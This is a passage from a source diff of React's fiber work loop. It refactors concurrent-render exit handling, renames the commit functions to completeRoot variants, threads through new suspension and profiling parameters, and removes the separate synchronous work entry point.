-          // We assume the tree is now consistent because we didn't yield to any
-          // concurrent events.
-          renderWasConcurrent = false;
-          // Need to check the exit status again.
-          continue;
+  let renderWasConcurrent = shouldTimeSlice;
+
+  do {
+    if (exitStatus === RootInProgress) {
+      // Render phase is still in progress.
+      if (workInProgressRootIsPrerendering && !shouldTimeSlice) {
+        // We're in prerendering mode, but time slicing is not enabled. This
+        // happens when something suspends during a synchronous update. Exit the
+        // the work loop. When we resume, we'll use the concurrent work loop so
+        // that prerendering is non-blocking.
+        //
+        // Mark the root as suspended. Usually we do this at the end of the
+        // render phase, but we do it here so that we resume in
+        // prerendering mode.
+        // TODO: Consider always calling markRootSuspended immediately.
+        // Needs to be *after* we attach a ping listener, though.
+        const didAttemptEntireTree = false;
+        markRootSuspended(root, lanes, NoLane, didAttemptEntireTree);
+      }
+      if (enableProfilerTimer && enableComponentPerformanceTrack) {
+        // We're about to yield. Let's keep track of how long we yield to the event loop.
+        // We also stash the suspended reason at the time we yielded since it might have
+        // changed when we resume such as when it gets pinged.
+        startYieldTimer(workInProgressSuspendedReason);
+      }
+      break;
+    } else {
+      let renderEndTime = 0;
+      if (enableProfilerTimer && enableComponentPerformanceTrack) {
+        renderEndTime = now();
+      }
+
+      // The render completed.
+
+      // Check if this render may have yielded to a concurrent event, and if so,
+      // confirm that any newly rendered stores are consistent.
+      // TODO: It's possible that even a concurrent render may never have yielded
+      // to the main thread, if it was fast enough, or if it expired. We could
+      // skip the consistency check in that case, too.
+      const finishedWork: Fiber = (root.current.alternate: any);
+      if (
+        renderWasConcurrent &&
+        !isRenderConsistentWithExternalStores(finishedWork)
+      ) {
+        if (enableProfilerTimer && enableComponentPerformanceTrack) {
+          setCurrentTrackFromLanes(lanes);
+          logInconsistentRender(
+            renderStartTime,
+            renderEndTime,
+            workInProgressUpdateTask,
+          );
+          finalizeRender(lanes, renderEndTime);
         }
+        // A store was mutated in an interleaved event. Render again,
+        // synchronously, to block further mutations.
+        exitStatus = renderRootSync(root, lanes, false);
+        // We assume the tree is now consistent because we didn't yield to any
+        // concurrent events.
+        renderWasConcurrent = false;
+        // Need to check the exit status again.
+        continue;
+      }
 
-        // Check if something threw
-        if (exitStatus === RootErrored) {
-          const lanesThatJustErrored = lanes;
-          const errorRetryLanes = getLanesToRetrySynchronouslyOnError(
+      // Check if something threw
+      if (
+        (disableLegacyMode || root.tag !== LegacyRoot) &&
+        exitStatus === RootErrored
+      ) {
+        const lanesThatJustErrored = lanes;
+        const errorRetryLanes = getLanesToRetrySynchronouslyOnError(
+          root,
+          lanesThatJustErrored,
+        );
+        if (errorRetryLanes !== NoLanes) {
+          if (enableProfilerTimer && enableComponentPerformanceTrack) {
+            setCurrentTrackFromLanes(lanes);
+            logErroredRenderPhase(
+              renderStartTime,
+              renderEndTime,
+              lanes,
+              workInProgressUpdateTask,
+            );
+            finalizeRender(lanes, renderEndTime);
+          }
+          lanes = errorRetryLanes;
+          exitStatus = recoverFromConcurrentError(
             root,
             lanesThatJustErrored,
+            errorRetryLanes,
           );
-          if (errorRetryLanes !== NoLanes) {
-            lanes = errorRetryLanes;
-            exitStatus = recoverFromConcurrentError(
-              root,
-              lanesThatJustErrored,
-              errorRetryLanes,
-            );
-            renderWasConcurrent = false;
-            // Need to check the exit status again.
-            if (exitStatus !== RootErrored) {
-              // The root did not error this time. Restart the exit algorithm
-              // from the beginning.
-              // TODO: Refactor the exit algorithm to be less confusing. Maybe
-              // more branches + recursion instead of a loop. I think the only
-              // thing that causes it to be a loop is the RootDidNotComplete
-              // check. If that's true, then we don't need a loop/recursion
-              // at all.
-              continue;
-            } else {
-              // The root errored yet again. Proceed to commit the tree.
+          renderWasConcurrent = false;
+          // Need to check the exit status again.
+          if (exitStatus !== RootErrored) {
+            // The root did not error this time. Restart the exit algorithm
+            // from the beginning.
+            // TODO: Refactor the exit algorithm to be less confusing. Maybe
+            // more branches + recursion instead of a loop. I think the only
+            // thing that causes it to be a loop is the RootSuspendedAtTheShell
+            // check. If that's true, then we don't need a loop/recursion
+            // at all.
+            continue;
+          } else {
+            // The root errored yet again. Proceed to commit the tree.
+            if (enableProfilerTimer && enableComponentPerformanceTrack) {
+              renderEndTime = now();
             }
           }
         }
-        if (exitStatus === RootFatalErrored) {
-          prepareFreshStack(root, NoLanes);
-          markRootSuspended(root, lanes, NoLane);
-          break;
+      }
+      if (exitStatus === RootFatalErrored) {
+        if (enableProfilerTimer && enableComponentPerformanceTrack) {
+          setCurrentTrackFromLanes(lanes);
+          logErroredRenderPhase(
+            renderStartTime,
+            renderEndTime,
+            lanes,
+            workInProgressUpdateTask,
+          );
+          finalizeRender(lanes, renderEndTime);
         }
-
-        // We now have a consistent tree. The next step is either to commit it,
-        // or, if something suspended, wait to commit it after a timeout.
-        root.finishedWork = finishedWork;
-        root.finishedLanes = lanes;
-        finishConcurrentRender(root, exitStatus, finishedWork, lanes);
+        prepareFreshStack(root, NoLanes);
+        // Since this is a fatal error, we're going to pretend we attempted
+        // the entire tree, to avoid scheduling a prerender.
+        const didAttemptEntireTree = true;
+        markRootSuspended(root, lanes, NoLane, didAttemptEntireTree);
+        break;
       }
-      break;
-    } while (true);
-  }
+
+      // We now have a consistent tree. The next step is either to commit it,
+      // or, if something suspended, wait to commit it after a timeout.
+      finishConcurrentRender(
+        root,
+        exitStatus,
+        finishedWork,
+        lanes,
+        renderEndTime,
+      );
+    }
+    break;
+  } while (true);
 
   ensureRootIsScheduled(root);
-  return getContinuationForRoot(root, originalCallbackNode);
 }
 
 function recoverFromConcurrentError(
   root: FiberRoot,
   originallyAttemptedLanes: Lanes,
   errorRetryLanes: Lanes,
-) {
+): RootExitStatus {
   // If an error occurred during hydration, discard server response and fall
   // back to client side render.
 
@@ -1010,7 +1337,7 @@ function recoverFromConcurrentError(
     rootWorkInProgress.flags |= ForceClientRender;
   }
 
-  const exitStatus = renderRootSync(root, errorRetryLanes);
+  const exitStatus = renderRootSync(root, errorRetryLanes, false);
   if (exitStatus !== RootErrored) {
     // Successfully finished rendering on retry
 
@@ -1073,6 +1400,7 @@ function finishConcurrentRender(
   exitStatus: RootExitStatus,
   finishedWork: Fiber,
   lanes: Lanes,
+  renderEndTime: number, // Profiling-only
 ) {
   // TODO: The fact that most of these branches are identical suggests that some
   // of the exit statuses are not best modeled as exit statuses and should be
@@ -1083,15 +1411,35 @@ function finishConcurrentRender(
       throw new Error('Root did not complete. This is a bug in React.');
     }
     case RootSuspendedWithDelay: {
-      if (includesOnlyTransitions(lanes)) {
-        // This is a transition, so we should exit without committing a
-        // placeholder and without scheduling a timeout. Delay indefinitely
-        // until we receive more data.
-        markRootSuspended(root, lanes, workInProgressDeferredLane);
-        return;
+      if (!includesOnlyTransitions(lanes) && !includesOnlyRetries(lanes)) {
+        // Commit the placeholder.
+        break;
       }
-      // Commit the placeholder.
-      break;
+    }
+    // Fallthrough
+    case RootSuspendedAtTheShell: {
+      // This is a transition, so we should exit without committing a
+      // placeholder and without scheduling a timeout. Delay indefinitely
+      // until we receive more data.
+      if (enableProfilerTimer && enableComponentPerformanceTrack) {
+        setCurrentTrackFromLanes(lanes);
+        logSuspendedRenderPhase(
+          renderStartTime,
+          renderEndTime,
+          lanes,
+          workInProgressUpdateTask,
+        );
+        finalizeRender(lanes, renderEndTime);
+        trackSuspendedTime(lanes, renderEndTime);
+      }
+      const didAttemptEntireTree = !workInProgressRootDidSkipSuspendedSiblings;
+      markRootSuspended(
+        root,
+        lanes,
+        workInProgressDeferredLane,
+        didAttemptEntireTree,
+      );
+      return;
     }
     case RootErrored: {
       // This render errored. Ignore any recoverable errors because we weren't actually
@@ -1112,12 +1460,22 @@ function finishConcurrentRender(
 
   if (shouldForceFlushFallbacksInDEV()) {
     // We're inside an `act` scope. Commit immediately.
-    commitRoot(
+    completeRoot(
       root,
+      finishedWork,
+      lanes,
       workInProgressRootRecoverableErrors,
       workInProgressTransitions,
       workInProgressRootDidIncludeRecursiveRenderUpdate,
       workInProgressDeferredLane,
+      workInProgressRootInterleavedUpdatedLanes,
+      workInProgressSuspendedRetryLanes,
+      workInProgressRootDidSkipSuspendedSiblings,
+      exitStatus,
+      null,
+      null,
+      renderStartTime,
+      renderEndTime,
     );
   } else {
     if (
@@ -1131,9 +1489,16 @@ function finishConcurrentRender(
 
       // Don't bother with a very short suspense time.
       if (msUntilTimeout > 10) {
-        markRootSuspended(root, lanes, workInProgressDeferredLane);
+        const didAttemptEntireTree =
+          !workInProgressRootDidSkipSuspendedSiblings;
+        markRootSuspended(
+          root,
+          lanes,
+          workInProgressDeferredLane,
+          didAttemptEntireTree,
+        );
 
-        const nextLanes = getNextLanes(root, NoLanes);
+        const nextLanes = getNextLanes(root, NoLanes, true);
         if (nextLanes !== NoLanes) {
           // There's additional work we can do on this root. We might as well
           // attempt to work on that while we're suspended.
@@ -1145,8 +1510,9 @@ function finishConcurrentRender(
         // immediately, wait for more data to arrive.
         // TODO: Combine retry throttling with Suspensey commits. Right now they
         // run one after the other.
+        pendingEffectsLanes = lanes;
         root.timeoutHandle = scheduleTimeout(
-          commitRootWhenReady.bind(
+          completeRootWhenReady.bind(
             null,
             root,
             finishedWork,
@@ -1155,13 +1521,20 @@ function finishConcurrentRender(
             workInProgressRootDidIncludeRecursiveRenderUpdate,
             lanes,
             workInProgressDeferredLane,
+            workInProgressRootInterleavedUpdatedLanes,
+            workInProgressSuspendedRetryLanes,
+            workInProgressRootDidSkipSuspendedSiblings,
+            exitStatus,
+            'Throttled',
+            renderStartTime,
+            renderEndTime,
           ),
           msUntilTimeout,
         );
         return;
       }
     }
-    commitRootWhenReady(
+    completeRootWhenReady(
       root,
       finishedWork,
       workInProgressRootRecoverableErrors,
@@ -1169,11 +1542,18 @@ function finishConcurrentRender(
       workInProgressRootDidIncludeRecursiveRenderUpdate,
       lanes,
       workInProgressDeferredLane,
+      workInProgressRootInterleavedUpdatedLanes,
+      workInProgressSuspendedRetryLanes,
+      workInProgressRootDidSkipSuspendedSiblings,
+      exitStatus,
+      null,
+      renderStartTime,
+      renderEndTime,
     );
   }
 }
 
-function commitRootWhenReady(
+function completeRootWhenReady(
   root: FiberRoot,
   finishedWork: Fiber,
   recoverableErrors: Array<CapturedValue<mixed>> | null,
@@ -1181,28 +1561,66 @@ function commitRootWhenReady(
   didIncludeRenderPhaseUpdate: boolean,
   lanes: Lanes,
   spawnedLane: Lane,
+  updatedLanes: Lanes,
+  suspendedRetryLanes: Lanes,
+  didSkipSuspendedSiblings: boolean,
+  exitStatus: RootExitStatus,
+  suspendedCommitReason: SuspendedCommitReason, // Profiling-only
+  completedRenderStartTime: number, // Profiling-only
+  completedRenderEndTime: number, // Profiling-only
 ) {
+  root.timeoutHandle = noTimeout;
+
   // TODO: Combine retry throttling with Suspensey commits. Right now they run
   // one after the other.
   const BothVisibilityAndMaySuspendCommit = Visibility | MaySuspendCommit;
   const subtreeFlags = finishedWork.subtreeFlags;
-  if (
+  const isViewTransitionEligible =
+    enableViewTransition && includesOnlyViewTransitionEligibleLanes(lanes); // TODO: Use a subtreeFlag to optimize.
+  const isGestureTransition = enableGestureTransition && isGestureRender(lanes);
+  const maySuspendCommit =
     subtreeFlags & ShouldSuspendCommit ||
     (subtreeFlags & BothVisibilityAndMaySuspendCommit) ===
-      BothVisibilityAndMaySuspendCommit
-  ) {
+      BothVisibilityAndMaySuspendCommit;
+  let suspendedState: null | SuspendedState = null;
+  if (isViewTransitionEligible || maySuspendCommit || isGestureTransition) {
     // Before committing, ask the renderer whether the host tree is ready.
     // If it's not, we'll wait until it notifies us.
-    startSuspendingCommit();
+    suspendedState = startSuspendingCommit();
     // This will walk the completed fiber tree and attach listeners to all
     // the suspensey resources. The renderer is responsible for accumulating
     // all the load events. This all happens in a single synchronous
     // transaction, so it track state in its own module scope.
-    accumulateSuspenseyCommit(finishedWork);
+    // This will also track any newly added or appearing ViewTransition
+    // components for the purposes of forming pairs.
+    accumulateSuspenseyCommit(finishedWork, lanes, suspendedState);
+    if (
+      isViewTransitionEligible ||
+      (isGestureTransition &&
+        root.pendingGestures !== null &&
+        // If this gesture already has a View Transition running then we don't
+        // have to wait on that one before proceeding. We may hold the commit
+        // on the gesture committing later on in completeRoot.
+        root.pendingGestures.running === null)
+    ) {
+      // Wait for any pending View Transition (including gestures) to finish.
+      suspendOnActiveViewTransition(suspendedState, root.containerInfo);
+    }
+    // For timeouts we use the previous fallback commit for retries and
+    // the start time of the transition for transitions. This offset
+    // represents the time already passed.
+    const timeoutOffset = includesOnlyRetries(lanes)
+      ? globalMostRecentFallbackTime - now()
+      : includesOnlyTransitions(lanes)
+        ? globalMostRecentTransitionTime - now()
+        : 0;
     // At the end, ask the renderer if it's ready to commit, or if we should
     // suspend. If it's not ready, it will return a callback to subscribe to
     // a ready event.
-    const schedulePendingCommit = waitForCommitToBeReady();
+    const schedulePendingCommit = waitForCommitToBeReady(
+      suspendedState,
+      timeoutOffset,
+    );
     if (schedulePendingCommit !== null) {
       // NOTE: waitForCommitToBeReady returns a subscribe function so that we
       // only allocate a function if the commit isn't ready yet. The other
@@ -1211,27 +1629,52 @@ function commitRootWhenReady(
       // Not yet ready to commit. Delay the commit until the renderer notifies
       // us that it's ready. This will be canceled if we start work on the
       // root again.
+      pendingEffectsLanes = lanes;
       root.cancelPendingCommit = schedulePendingCommit(
-        commitRoot.bind(
+        completeRoot.bind(
           null,
           root,
+          finishedWork,
+          lanes,
           recoverableErrors,
           transitions,
           didIncludeRenderPhaseUpdate,
+          spawnedLane,
+          updatedLanes,
+          suspendedRetryLanes,
+          didSkipSuspendedSiblings,
+          exitStatus,
+          suspendedState,
+          enableProfilerTimer
+            ? getSuspendedCommitReason(suspendedState, root.containerInfo)
+            : null,
+          completedRenderStartTime,
+          completedRenderEndTime,
         ),
       );
-      markRootSuspended(root, lanes, spawnedLane);
+      const didAttemptEntireTree = !didSkipSuspendedSiblings;
+      markRootSuspended(root, lanes, spawnedLane, didAttemptEntireTree);
       return;
     }
   }
 
-  // Otherwise, commit immediately.
-  commitRoot(
+  // Otherwise, commit immediately.;
+  completeRoot(
     root,
+    finishedWork,
+    lanes,
     recoverableErrors,
     transitions,
     didIncludeRenderPhaseUpdate,
     spawnedLane,
+    updatedLanes,
+    suspendedRetryLanes,
+    didSkipSuspendedSiblings,
+    exitStatus,
+    suspendedState,
+    suspendedCommitReason,
+    completedRenderStartTime,
+    completedRenderEndTime,
   );
 }
 
@@ -1241,7 +1684,13 @@ function isRenderConsistentWithExternalStores(finishedWork: Fiber): boolean {
   // loop instead of recursion so we can exit early.
   let node: Fiber = finishedWork;
   while (true) {
-    if (node.flags & StoreConsistency) {
+    const tag = node.tag;
+    if (
+      (tag === FunctionComponent ||
+        tag === ForwardRef ||
+        tag === SimpleMemoComponent) &&
+      node.flags & StoreConsistency
+    ) {
       const updateQueue: FunctionComponentUpdateQueue | null =
         (node.updateQueue: any);
       if (updateQueue !== null) {
@@ -1332,7 +1781,13 @@ function markRootSuspended(
   root: FiberRoot,
   suspendedLanes: Lanes,
   spawnedLane: Lane,
+  didAttemptEntireTree: boolean,
 ) {
+  if (enableParallelTransitions) {
+    // When suspending, we should always mark the entangled lanes as suspended.
+    suspendedLanes = getEntangledLanes(root, suspendedLanes);
+  }
+
   // When suspending, we should always exclude lanes that were pinged or (more
   // rarely, since we try to avoid it) updated during the render phase.
   suspendedLanes = removeLanes(suspendedLanes, workInProgressRootPingedLanes);
@@ -1340,90 +1795,7 @@ function markRootSuspended(
     suspendedLanes,
     workInProgressRootInterleavedUpdatedLanes,
   );
-  _markRootSuspended(root, suspendedLanes, spawnedLane);
-}
-
-// This is the entry point for synchronous tasks that don't go
-// through Scheduler
-export function performSyncWorkOnRoot(root: FiberRoot, lanes: Lanes): null {
-  if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
-    throw new Error('Should not already be working.');
-  }
-
-  const didFlushPassiveEffects = flushPassiveEffects();
-  if (didFlushPassiveEffects) {
-    // If passive effects were flushed, exit to the outer work loop in the root
-    // scheduler, so we can recompute the priority.
-    // TODO: We don't actually need this `ensureRootIsScheduled` call because
-    // this path is only reachable if the root is already part of the schedule.
-    // I'm including it only for consistency with the other exit points from
-    // this function. Can address in a subsequent refactor.
-    ensureRootIsScheduled(root);
-    return null;
-  }
-
-  if (enableProfilerTimer && enableProfilerNestedUpdatePhase) {
-    syncNestedUpdateFlag();
-  }
-
-  let exitStatus = renderRootSync(root, lanes);
-  if (
-    (disableLegacyMode || root.tag !== LegacyRoot) &&
-    exitStatus === RootErrored
-  ) {
-    // If something threw an error, try rendering one more time. We'll render
-    // synchronously to block concurrent data mutations, and we'll includes
-    // all pending updates are included. If it still fails after the second
-    // attempt, we'll give up and commit the resulting tree.
-    const originallyAttemptedLanes = lanes;
-    const errorRetryLanes = getLanesToRetrySynchronouslyOnError(
-      root,
-      originallyAttemptedLanes,
-    );
-    if (errorRetryLanes !== NoLanes) {
-      lanes = errorRetryLanes;
-      exitStatus = recoverFromConcurrentError(
-        root,
-        originallyAttemptedLanes,
-        errorRetryLanes,
-      );
-    }
-  }
-
-  if (exitStatus === RootFatalErrored) {
-    prepareFreshStack(root, NoLanes);
-    markRootSuspended(root, lanes, NoLane);
-    ensureRootIsScheduled(root);
-    return null;
-  }
-
-  if (exitStatus === RootDidNotComplete) {
-    // The render unwound without completing the tree. This happens in special
-    // cases where need to exit the current render without producing a
-    // consistent tree or committing.
-    markRootSuspended(root, lanes, workInProgressDeferredLane);
-    ensureRootIsScheduled(root);
-    return null;
-  }
-
-  // We now have a consistent tree. Because this is a sync render, we
-  // will commit it even if something suspended.
-  const finishedWork: Fiber = (root.current.alternate: any);
-  root.finishedWork = finishedWork;
-  root.finishedLanes = lanes;
-  commitRoot(
-    root,
-    workInProgressRootRecoverableErrors,
-    workInProgressTransitions,
-    workInProgressRootDidIncludeRecursiveRenderUpdate,
-    workInProgressDeferredLane,
-  );
-
-  // Before exiting, make sure there's a callback scheduled for the next
-  // pending level.
-  ensureRootIsScheduled(root);
-
-  return null;
+  _markRootSuspended(root, suspendedLanes, spawnedLane, didAttemptEntireTree);
 }
 
 export function flushRoot(root: FiberRoot, lanes: Lanes) {
@@ -1507,21 +1879,18 @@ export function discreteUpdates<A, B, C, D, R>(
 
 // Overload the definition to the two valid signatures.
 // Warning, this opts-out of checking the function body.
-// eslint-disable-next-line no-unused-vars
 declare function flushSyncFromReconciler<R>(fn: () => R): R;
-// eslint-disable-next-line no-redeclare
 declare function flushSyncFromReconciler(void): void;
-// eslint-disable-next-line no-redeclare
 export function flushSyncFromReconciler<R>(fn: (() => R) | void): R | void {
   // In legacy mode, we flush pending passive effects at the beginning of the
   // next event, not at the end of the previous one.
   if (
-    rootWithPendingPassiveEffects !== null &&
+    pendingEffectsStatus !== NO_PENDING_EFFECTS &&
     !disableLegacyMode &&
-    rootWithPendingPassiveEffects.tag === LegacyRoot &&
+    pendingEffectsRoot.tag === LegacyRoot &&
     (executionContext & (RenderContext | CommitContext)) === NoContext
   ) {
-    flushPassiveEffects();
+    flushPendingEffects();
   }
 
   const prevExecutionContext = executionContext;
@@ -1564,11 +1933,8 @@ export function flushSyncWork(): boolean {
 
 export function isAlreadyRendering(): boolean {
   // Used by the renderer to print a warning if certain APIs are called from
-  // the wrong context.
-  return (
-    __DEV__ &&
-    (executionContext & (RenderContext | CommitContext)) !== NoContext
-  );
+  // the wrong context, and for profiling warnings.
+  return (executionContext & (RenderContext | CommitContext)) !== NoContext;
 }
 
 export function isInvalidExecutionContextForEventFunction(): boolean {
@@ -1613,9 +1979,239 @@ function resetWorkInProgressStack() {
   workInProgress = null;
 }
 
+function finalizeRender(lanes: Lanes, finalizationTime: number): void {
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    if (isGestureRender(lanes)) {
+      clampGestureTimers(finalizationTime);
+    } else if (includesBlockingLane(lanes)) {
+      clampBlockingTimers(finalizationTime);
+    }
+    if (includesTransitionLane(lanes)) {
+      clampTransitionTimers(finalizationTime);
+    }
+    if (includesRetryLane(lanes)) {
+      clampRetryTimers(finalizationTime);
+    }
+    if (includesIdleGroupLanes(lanes)) {
+      clampIdleTimers(finalizationTime);
+    }
+  }
+}
+
 function prepareFreshStack(root: FiberRoot, lanes: Lanes): Fiber {
-  root.finishedWork = null;
-  root.finishedLanes = NoLanes;
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    // The order of tracks within a group are determined by the earliest start time.
+    // Are tracks should show up in priority order and we should ideally always show
+    // every track. This is a hack to ensure that we're displaying all tracks in the
+    // right order. Ideally we could do this only once but because calls that aren't
+    // recorded aren't considered for ordering purposes, we need to keep adding these
+    // over and over again in case recording has just started. We can't tell when
+    // recording starts.
+    markAllLanesInOrder();
+
+    const previousRenderStartTime = renderStartTime;
+    // Starting a new render. Log the end of any previous renders and the
+    // blocked time before the render started.
+    recordRenderTime();
+    // If this was a restart, e.g. due to an interrupting update, then there's no space
+    // in the track to log the cause since we'll have rendered all the way up until the
+    // restart so we need to clamp that.
+    if (
+      workInProgressRootRenderLanes !== NoLanes &&
+      previousRenderStartTime > 0
+    ) {
+      setCurrentTrackFromLanes(workInProgressRootRenderLanes);
+      if (
+        workInProgressRootExitStatus === RootSuspended ||
+        workInProgressRootExitStatus === RootSuspendedWithDelay
+      ) {
+        // If the root was already suspended when it got interrupted and restarted,
+        // then this is considered a prewarm and not an interrupted render because
+        // we couldn't have shown anything anyway so it's not a bad thing that we
+        // got interrupted.
+        logSuspendedRenderPhase(
+          previousRenderStartTime,
+          renderStartTime,
+          lanes,
+          workInProgressUpdateTask,
+        );
+      } else {
+        logInterruptedRenderPhase(
+          previousRenderStartTime,
+          renderStartTime,
+          lanes,
+          workInProgressUpdateTask,
+        );
+      }
+      finalizeRender(workInProgressRootRenderLanes, renderStartTime);
+    }
+    const previousUpdateTask = workInProgressUpdateTask;
+
+    workInProgressUpdateTask = null;
+    if (isGestureRender(lanes)) {
+      workInProgressUpdateTask = gestureUpdateTask;
+      const clampedUpdateTime =
+        gestureUpdateTime >= 0 && gestureUpdateTime < gestureClampTime
+          ? gestureClampTime
+          : gestureUpdateTime;
+      const clampedEventTime =
+        gestureEventTime >= 0 && gestureEventTime < gestureClampTime
+          ? gestureClampTime
+          : gestureEventTime;
+      const clampedRenderStartTime =
+        // Clamp the suspended time to the first event/update.
+        clampedEventTime >= 0
+          ? clampedEventTime
+          : clampedUpdateTime >= 0
+            ? clampedUpdateTime
+            : renderStartTime;
+      if (gestureSuspendedTime >= 0) {
+        setCurrentTrackFromLanes(GestureLane);
+        logSuspendedWithDelayPhase(
+          gestureSuspendedTime,
+          clampedRenderStartTime,
+          lanes,
+          workInProgressUpdateTask,
+        );
+      } else if (isGestureRender(animatingLanes)) {
+        // If this lane is still animating, log the time from previous render finishing to now as animating.
+        setCurrentTrackFromLanes(GestureLane);
+        logAnimatingPhase(
+          gestureClampTime,
+          clampedRenderStartTime,
+          animatingTask,
+        );
+      }
+      logGestureStart(
+        clampedUpdateTime,
+        clampedEventTime,
+        gestureEventType,
+        gestureEventRepeatTime > 0,
+        gestureUpdateType === PINGED_UPDATE,
+        renderStartTime,
+        gestureUpdateTask,
+        gestureUpdateMethodName,
+        gestureUpdateComponentName,
+      );
+      clearGestureTimers();
+    } else if (includesBlockingLane(lanes)) {
+      workInProgressUpdateTask = blockingUpdateTask;
+      const clampedUpdateTime =
+        blockingUpdateTime >= 0 && blockingUpdateTime < blockingClampTime
+          ? blockingClampTime
+          : blockingUpdateTime;
+      const clampedEventTime =
+        blockingEventTime >= 0 && blockingEventTime < blockingClampTime
+          ? blockingClampTime
+          : blockingEventTime;
+      const clampedRenderStartTime = // Clamp the suspended time to the first event/update.
+        clampedEventTime >= 0
+          ? clampedEventTime
+          : clampedUpdateTime >= 0
+            ? clampedUpdateTime
+            : renderStartTime;
+      if (blockingSuspendedTime >= 0) {
+        setCurrentTrackFromLanes(SyncLane);
+        logSuspendedWithDelayPhase(
+          blockingSuspendedTime,
+          clampedRenderStartTime,
+          lanes,
+          previousUpdateTask,
+        );
+      } else if (
+        !isGestureRender(animatingLanes) &&
+        includesBlockingLane(animatingLanes)
+      ) {
+        // If this lane is still animating, log the time from previous render finishing to now as animating.
+        setCurrentTrackFromLanes(SyncLane);
+        logAnimatingPhase(
+          blockingClampTime,
+          clampedRenderStartTime,
+          animatingTask,
+        );
+      }
+      logBlockingStart(
+        clampedUpdateTime,
+        clampedEventTime,
+        blockingEventType,
+        blockingEventRepeatTime > 0,
+        blockingUpdateType === SPAWNED_UPDATE,
+        blockingUpdateType === PINGED_UPDATE,
+        renderStartTime,
+        lanes,
+        blockingUpdateTask,
+        blockingUpdateMethodName,
+        blockingUpdateComponentName,
+      );
+      clearBlockingTimers();
+    }
+    if (includesTransitionLane(lanes)) {
+      workInProgressUpdateTask = transitionUpdateTask;
+      const clampedStartTime =
+        transitionStartTime >= 0 && transitionStartTime < transitionClampTime
+          ? transitionClampTime
+          : transitionStartTime;
+      const clampedUpdateTime =
+        transitionUpdateTime >= 0 && transitionUpdateTime < transitionClampTime
+          ? transitionClampTime
+          : transitionUpdateTime;
+      const clampedEventTime =
+        transitionEventTime >= 0 && transitionEventTime < transitionClampTime
+          ? transitionClampTime
+          : transitionEventTime;
+      const clampedRenderStartTime =
+        // Clamp the suspended time to the first event/update.
+        clampedEventTime >= 0
+          ? clampedEventTime
+          : clampedUpdateTime >= 0
+            ? clampedUpdateTime
+            : renderStartTime;
+      if (transitionSuspendedTime >= 0) {
+        setCurrentTrackFromLanes(SomeTransitionLane);
+        logSuspendedWithDelayPhase(
+          transitionSuspendedTime,
+          clampedRenderStartTime,
+          lanes,
+          workInProgressUpdateTask,
+        );
+      } else if (includesTransitionLane(animatingLanes)) {
+        // If this lane is still animating, log the time from previous render finishing to now as animating.
+        setCurrentTrackFromLanes(SomeTransitionLane);
+        logAnimatingPhase(
+          transitionClampTime,
+          clampedRenderStartTime,
+          animatingTask,
+        );
+      }
+      logTransitionStart(
+        clampedStartTime,
+        clampedUpdateTime,
+        clampedEventTime,
+        transitionEventType,
+        transitionEventRepeatTime > 0,
+        transitionUpdateType === PINGED_UPDATE,
+        renderStartTime,
+        transitionUpdateTask,
+        transitionUpdateMethodName,
+        transitionUpdateComponentName,
+      );
+      clearTransitionTimers();
+    }
+    if (includesRetryLane(lanes)) {
+      if (includesRetryLane(animatingLanes)) {
+        // If this lane is still animating, log the time from previous render finishing to now as animating.
+        setCurrentTrackFromLanes(SomeRetryLane);
+        logAnimatingPhase(retryClampTime, renderStartTime, animatingTask);
+      }
+    }
+    if (includesIdleGroupLanes(lanes)) {
+      if (includesIdleGroupLanes(animatingLanes)) {
+        // If this lane is still animating, log the time from previous render finishing to now as animating.
+        setCurrentTrackFromLanes(IdleLane);
+        logAnimatingPhase(idleClampTime, renderStartTime, animatingTask);
+      }
+    }
+  }
 
   const timeoutHandle = root.timeoutHandle;
   if (timeoutHandle !== noTimeout) {
@@ -1631,6 +2227,8 @@ function prepareFreshStack(root: FiberRoot, lanes: Lanes): Fiber {
     cancelPendingCommit();
   }
 
+  pendingEffectsLanes = NoLanes;
+
   resetWorkInProgressStack();
   workInProgressRoot = root;
   const rootWorkInProgress = createWorkInProgress(root.current, null);
@@ -1638,6 +2236,8 @@ function prepareFreshStack(root: FiberRoot, lanes: Lanes): Fiber {
   workInProgressRootRenderLanes = lanes;
   workInProgressSuspendedReason = NotSuspended;
   workInProgressThrownValue = null;
+  workInProgressRootDidSkipSuspendedSiblings = false;
+  workInProgressRootIsPrerendering = checkIfRootIsPrerendering(root, lanes);
   workInProgressRootDidAttachPingListener = false;
   workInProgressRootExitStatus = RootInProgress;
   workInProgressRootSkippedLanes = NoLanes;
@@ -1645,6 +2245,7 @@ function prepareFreshStack(root: FiberRoot, lanes: Lanes): Fiber {
   workInProgressRootRenderPhaseUpdatedLanes = NoLanes;
   workInProgressRootPingedLanes = NoLanes;
   workInProgressDeferredLane = NoLane;
+  workInProgressSuspendedRetryLanes = NoLanes;
   workInProgressRootConcurrentErrors = null;
   workInProgressRootRecoverableErrors = null;
   workInProgressRootDidIncludeRecursiveRenderUpdate = false;
@@ -1661,6 +2262,8 @@ function prepareFreshStack(root: FiberRoot, lanes: Lanes): Fiber {
   finishQueueingConcurrentUpdates();
 
   if (__DEV__) {
+    resetOwnerStackLimit();
+
     ReactStrictModeWarnings.discardPendingWarnings();
   }
 
@@ -1691,32 +2294,27 @@ function handleThrow(root: FiberRoot, thrownValue: any): void {
   // These should be reset immediately because they're only supposed to be set
   // when React is executing user code.
   resetHooksAfterThrow();
-  if (__DEV__ || !disableStringRefs) {
+  if (__DEV__) {
     resetCurrentFiber();
   }
 
-  if (thrownValue === SuspenseException) {
+  if (
+    thrownValue === SuspenseException ||
+    thrownValue === SuspenseActionException
+  ) {
     // This is a special type of exception used for Suspense. For historical
     // reasons, the rest of the Suspense implementation expects the thrown value
     // to be a thenable, because before `use` existed that was the (unstable)
     // API for suspending. This implementation detail can change later, once we
     // deprecate the old API in favor of `use`.
     thrownValue = getSuspendedThenable();
-    workInProgressSuspendedReason =
-      shouldRemainOnPreviousScreen() &&
-      // Check if there are other pending updates that might possibly unblock this
-      // component from suspending. This mirrors the check in
-      // renderDidSuspendDelayIfPossible. We should attempt to unify them somehow.
-      // TODO: Consider unwinding immediately, using the
-      // SuspendedOnHydration mechanism.
-      !includesNonIdleWork(workInProgressRootSkippedLanes) &&
-      !includesNonIdleWork(workInProgressRootInterleavedUpdatedLanes)
-        ? // Suspend work loop until data resolves
-          SuspendedOnData
-        : // Don't suspend work loop, except to check if the data has
-          // immediately resolved (i.e. in a microtask). Otherwise, trigger the
-          // nearest Suspense fallback.
